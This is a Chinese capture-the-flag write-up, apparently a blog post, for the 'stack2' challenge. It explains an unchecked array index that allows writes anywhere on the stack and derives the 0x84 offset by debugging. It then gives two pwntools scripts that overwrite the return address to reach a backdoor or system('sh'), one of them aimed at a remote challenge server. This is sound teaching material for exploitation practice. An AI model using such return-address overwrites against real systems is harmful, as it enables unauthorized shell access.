3.stack2

这是一道数组越界的题目。数组存放在栈上,程序中给出有修改数组中数据的功能,但是没有限制范围,使得其可以修改栈上任意地址。

image-20200727165529724

所以我只需要将main函数的返回地址修改成后门函数就可以了。

image-20200727165559094

接下来就是确定偏移,这里把我卡住了。最一开始的想法是直接用返回地址减去输入地址,得到的偏移是0x9c,带入测试发现不行。看到这里有人肯定都要嘲笑我了,我真的是太蠢了,而且还觉得没什么问题捣鼓了半天,太菜了。。。

言归正传,要定偏移,首先我们需要搞清楚程序中修改数组数据的部分具体是怎么执行的。

屏幕快照 2020-07-27 17.03.38

这里可以看到程序具体要修改的地址是由ebp+eax+var_70计算得到的(eax中存放的就是我们输入的偏移),因此我们进行调试,在0x0804884D和0x080488f2处下断点

屏幕快照 2020-07-27 17.08.34

屏幕快照 2020-07-27 17.09.21

所以 0xffffcfb8 + eax - 0x70 = 0xffffcfcc => eax = 0x84

exp:

from pwn import *

p = process('./jisuan')
context.log_level = 'DEBUG'
system_bish_addr = 0x0804859b

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline('3')
    p.recvuntil('which number to change:\n')
    p.sendline(str(addr))
    p.recvuntil('new number:\n')
    p.sendline(str(va))
    p.recvuntil('5. exit\n')

def dbg():
	gdb.attach(p)
	pause()



p.sendlineafter('How many numbers you have:\n','1')
p.sendlineafter('Give me your numbers\n','2')
p.recvuntil('5. exit\n')

write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

p.sendline('5')
p.interactive()

由于远程攻击时提示没有bash,所以只好自己构造system调用

exp:

from pwn import *

p = remote('220.249.52.133',53268)
offest = 0x84
system_plt_addr = 0x08048450
sh_addr = 0x08048987

def write_addr(offest,res):
    p.sendline('3')
    p.recvuntil("which number to change:")
    p.sendline(str(offest))
    p.recvuntil("new number:")
    p.sendline(str(res))
    p.recvuntil("5. exit")

p.recvuntil("How many numbers you have:")
p.sendline('1')
p.recvuntil("Give me your numbers")
p.sendline('2')
p.recvuntil("5. exit")
write_addr(offest,0x50)
write_addr(offest+1,0x84)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
offest += 8 
write_addr(offest,0x87)
write_addr(offest+1,0x89)
write_addr(offest+2,0x04)
write_addr(offest+3,0x08)
p.sendline('5')
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值